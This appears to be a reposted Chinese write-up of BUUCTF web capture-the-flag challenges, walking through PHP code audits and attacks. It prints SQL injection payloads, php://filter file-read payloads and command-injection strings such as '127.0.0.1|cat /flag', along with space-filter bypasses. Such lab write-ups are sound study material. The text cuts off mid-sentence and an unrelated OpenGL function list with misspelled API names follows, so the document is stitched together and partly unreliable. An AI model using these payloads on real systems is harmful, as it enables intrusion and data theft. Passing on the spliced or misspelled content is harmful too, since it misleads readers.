CTFbuuctf web 详解(持续更新)
Posted 吃_早餐
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFbuuctf web 详解(持续更新)相关的知识,希望对你有一定的参考价值。
buuctf web
- [HCTF 2018]WarmUp
- [极客大挑战 2019]EasySQL
- [极客大挑战 2019]Havefun
- [强网杯 2019]随便注
- [ACTF2020 新生赛]Include
- [SUCTF 2019]EasySQL
- [极客大挑战 2019]Secret File
- [ACTF2020 新生赛]Exec
- [极客大挑战 2019]LoveSQL
- [GXYCTF2019]Ping Ping Ping
- [极客大挑战 2019]Knife
- [极客大挑战 2019]Http
- [RoarCTF 2019]Easy Calc
- [极客大挑战 2019]Upload
- [极客大挑战 2019]PHP
- [护网杯 2018]easy_tornado
- [ACTF2020 新生赛]Upload
- [极客大挑战 2019]BabySQL
- [ACTF2020 新生赛]BackupFile
- [HCTF 2018]admin
- [极客大挑战 2019]BuyFlag
- [BJDCTF2020]Easy MD5
- [ZJCTF 2019]NiZhuanSiWei
- [SUCTF 2019]CheckIn
- [极客大挑战 2019]HardSQL
- [网鼎杯 2020 青龙组]AreUSerialz
- [MRCTF2020]你传你🐎呢
- [MRCTF2020]Ez_bypass
- [GXYCTF2019]BabySQli
- [CISCN2019 华北赛区 Day2 Web1]Hack World
- [GYCTF2020]Blacklist
- [网鼎杯 2018]Fakebook
- [GXYCTF2019]BabyUpload
- [BUUCTF 2018]Online Tool
- [RoarCTF 2019]Easy Java
- [GXYCTF2019]禁止套娃
- [GWCTF 2019]我有一个数据库
[HCTF 2018]WarmUp
题目类型:PHP代码审计
查看源码,发现有一个source.php文件
查看此文件,出现一堆PHP代码
发现里面有一个hint.php文件,查看一下
文件里说明flag在ffffllllaaaagggg里
- 代码审计
is_string():检测变量是否是字符串
isset():检测变量是否已设置并且非 NULL
in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值
mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值
mb_strpos():查找字符串在另一个字符串中首次出现的位置
urldecode():将url编码后的字符串还原成未编码的样子
<?php
highlight_file(__FILE__);
class emmm
public static function checkFile(&$page)
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//如果page的值为空或者不是字符串
if (! isset($page) || !is_string($page))
echo "you can't see it";
return false;
//检测page的值是否在白名单中
if (in_array($page, $whitelist))
return true;
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
//检验page的值是否在白名单内
if (in_array($_page, $whitelist))
return true;
//将url编码后的字符串还原成未编码的样子,然后赋值给page
$_page = urldecode($page);
//返回page中从第0位开始到第一个?出现的位置,之间的值赋给page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
//检验page的值是否在白名单内
if (in_array($_page, $whitelist))
return true;
echo "you can't see it";
return false;
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)
include $_REQUEST['file'];
exit;
else
echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";
?>
[极客大挑战 2019]EasySQL
题目类型:简单的SQL注入
直接万能密码
[极客大挑战 2019]Havefun
题目类型:代码审计
查看源代码
</div>
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog')
echo 'Syccat_cat_cat_cat';
-->
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:black;"> Syclover @ cl4y</p></div>
</body>
</html>
代码审计
有一个cat变量,通过get方式传参,如果cat=dog输出flag
使用构造payload:/?cat=dog
[强网杯 2019]随便注
题目类型:SQL注入
本题要有SQL语法基础:SQL通用语法
查询3时报错,说明有两个字段
然后想尝试联合查询
结果报错return preg_match("/select|update|delete|drop|insert|where|\\./i",$inject);
发现过滤了select|update|delete|drop|insert|where|\\./i
爆数据库:1';show databases;#
爆表名:1'; show tables;#
出来两个表
1'; show columns from words;#
1'; show columns from '1919810931114514';#
注意:表名为数字时,要用反引号包起来查询。
发现1919810931114514表中有flag
接下来的参考大佬们的方法
大佬文章里总结了三种方法,第一种比较好理解,其他两种怪我太菜看不太明白
- 通过 rename 先把 words 表改名为其他的表名。
- 把 1919810931114514 表的名字改为 words 。
- 给新 words 表添加新的列名 id 。
- 将 flag 改名为 data 。
1'; rename table words to word1; rename table '1919810931114514' to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
[ACTF2020 新生赛]Include
题目类型:文件包含、PHP封装协议
点击链接
出现了flag.php文件,?file=flag.php 猜测文件包含漏洞,此时就要想办法查看这个文件,那怎样来查看呢,下面是我学到的一个方法
重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流>
指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表>
任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
-
php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;
-
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
-
得到base64编码后的内容为:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo= -
接着base64解码:
<?php echo "Can you find out the flag?"; //flagce837f2f-b262-4d61-a39d-9189b0bc486d
-
得到flag~~
我们再以这种方法查看一下index.php文件
<meta charset="utf8">
<?php
// 关闭错误报告
error_reporting(0);
//以get方式传参
$file = $_GET["file"];
//stristr() 函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。
//一下if语句过滤了"php://input" 、 "zip://" 、 "phar://" 、 "data:"
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:"))
exit('hacker!');
if($file)
include($file);
else
echo '<a href="?file=flag.php">tips</a>';
?>
[SUCTF 2019]EasySQL
先判断一下是数字型还是字符型,输入1
OK,有回显;然后各种试试试,都是nonono
还好,试了一下堆叠注入
爆出数据库:1;show databases;#
爆表:1;show tables;#
然后爆字段:1;show columns from FLAG;#
,输入后回显Nonono.
,猜测有被过滤
总之试了好多,搞得我又双叒叕不会了,唉···
下面是学习众多大佬的方法
不知道大佬们怎么猜测出查询语句为:select ".$post['query']."||flag from Flag
由于本题没有过滤*
,用*
查询flag中的所有字段,所以直接构造payload为:*,1
就是这么神奇
[极客大挑战 2019]Secret File
查看源码
<!DOCTYPE html>
<html>
<style type="text/css" >
#master
position:absolute;
left:44%;
bottom:0;
text-align :center;
p,h1
cursor: default;
</style>
<head>
<meta charset="utf-8">
<title>蒋璐源的秘密</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>
有这样一行代码<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
进入这个目录查看一下
点击secret
提示查阅结束,返回上个目录,查看一下源码
此时也没有什么发现,抓个包试了试
这里提示secr3t.php,我们进入这个目录看一下
这里提示flag放在了flag.php里,进入falg.php目录
还是没有出现flag,找到了但是看不到,此时又想到了PHP的封装协议,我们用一下 [ACTF2020 新生赛]Include里面使用的方法
构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag24db537d-9661-4a16-98c8-5c9df4c936fc';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
成功找到flag~~
[ACTF2020 新生赛]Exec
与[GXYCTF2019]Ping Ping Ping题类似,但此题更简单
需要了解的知识点
ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。
查看此文件的目录:127.0.0.1|ls
只有一个index.php
查看上级目录127.0.0.1|ls /
查看flag:127.0.0.1|cat /flag
拿到flag~~
[极客大挑战 2019]LoveSQL
这里提示用 sqlmap 是没有灵魂的,他说没灵魂,可我就是想试一下,结果确实没有灵魂,奉劝像我一样有叛逆心理的师傅们还是不要浪费时间试了······
听话孩子的解法:
先随便输入一个万能密码
找到回显位置
试试联合查询,一直到3的时候回显正常
2和3有回显位置
输入用户名为1
爆数据库password=:1' union select 1,2,database()#
得到数据库名为geek
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
——爆出表名为geekuser
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#
——爆出表名为l0ve1ysq1
爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #
——id,username,password
爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
咦?最后这里有点像flag的一部分,怎么就出来这点?缩小一下看看
呐,不能再小了;嘻嘻,直接F12呗
拿到flag~~
[GXYCTF2019]Ping Ping Ping
具体知识点点这里
题目类型:命令执行+代码审计
提示/?ip=
输入/?ip=127.0.0.1
,回显成功
显示当前的所有文件:/?ip=127.0.0.1|ls
这里查到了两个php文件
查看flag.php:?ip=127.0.0.1|cat flag.php
这里提示/?ip= fxck your space!
额···fxck是什么东西,space是空格,大佬说应该是空格被过滤了
命令中空格被过滤的解决方法:
cat,flag.txt
cat$IFSflag.txt
cat$IFS$9flag.txt
:$IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\\x20flag.txt'&&cat$kg
(\\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
试试第一个方法:/?ip=127.0.0.1|cat,flag.php
发现符号又被过滤了,说明大括号被过滤了,那第二个不能用了
试试第三个方法/?ip=127.0.0.1|cat$IFS$9flag.php
flag也被过滤了!
不是查出来两个文件嘛,看看另一个吧
查看index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php
发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码
<?php
if(isset($_GET['ip']))
$ip = $_GET['ip'];
if(preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x00-\\x1f]|\\>|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\|\\/", $ip, $match))
echo preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x00-\\x20]|\\>|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\|\\/", $ip, $match);
die("fxck your symbol!");
else if(preg_match("/ /", $ip))
die("fxck your space!");
else if(preg_match("/bash/", $ip))
die("fxck your bash!");
else if(preg_match("/.*f.*l.*a.*g.*/", $ip))
die("fxck your flag!");
$a = shell_exec("ping -c 4 ".$ip);//执行操作符 ,-c 4 表示ping的指定次数为4
echo "<pre>";
print_r($a);
?>
代码审计一下,好多都被过滤了emmm;但最后有个变量a,我也不知道怎么做
不会了,学一下大佬的方法吧
-
方法一:变量拼接字符串——将a的值覆盖,然后进行绕过
构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
总之就是用变量拼接成flag
啥也没有,查看源码/?ip= <pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes <?php $flag = "flagaf15354a-6bdf-4609-b230-75bdc03e1dbf"; ?>
拿到flag~~
-
方法二:内联执
# OpenGL常用函数详解(持续更新)
OpenGL常用函数详解(持续更新)
初始化
void glutInit(int* argc,char** argv)
初始化GULT库,对应main函数的两个参数void gultInitWindowSize(int witth,int height)
指定GULT窗口产生的窗口的大小void gultInitWindowsPosition(int x,int y)
指定窗口产生的位置,以像素为单位,默认在左上角void gultInitDisplayMode(unsigned int mode)
设置图形显示模式参数mode的可选值为:
- GLUT_RGBA:当未指明GLUT-RGBA或GLUT-INDEX时,是默认使用的模式。表明欲建立RGBA模式的窗口。
- GLUT_RGB:与GLUT-RGBA作用相同。
- GLUT_INDEX:指明为颜色索引模式。
- GLUT_SINGLE:只使用单缓存
- GLUT_DOUBLE:使用双缓存。以避免把计算机作图的过程都表现出来,或者为了平滑地实现动画。
- GLUT_ACCUM:让窗口使用累加的缓存。
- GLUT_ALPHA:让颜色缓冲区使用alpha组件。
- GLUT_DEPTH:使用深度缓存。
- GLUT_STENCIL:使用模板缓存。
- GLUT_MULTISAMPLE:让窗口支持多例程。
- GLUT_STEREO:使窗口支持立体。
- GLUT_LUMINACE:luminance是亮度的意思。但是很遗憾,在多数OpenGL平台上,不被支持。
glutCreateWindowz(char* name)
产生一个顶层的窗口,name为窗口的名字
开始执行
void glutDisplayFunc(void (*func)(void))
传递函数的名字,当窗口需要被重绘时调用的函数名称void glutMainLoop(void)
告诉GLUT我们准备进入应用程序事件处理循环,使程序进入一个永不结束的循环,一直等待处理下一个事件glflush()
glFlush()清空缓冲区,将指令送往缓硬件立即执行,但是它是将命令传送完毕之后立即返回,不会等待指令执行完毕
以上是关于CTFbuuctf web 详解(持续更新)的主要内容,如果未能解决你的问题,请参考以下文章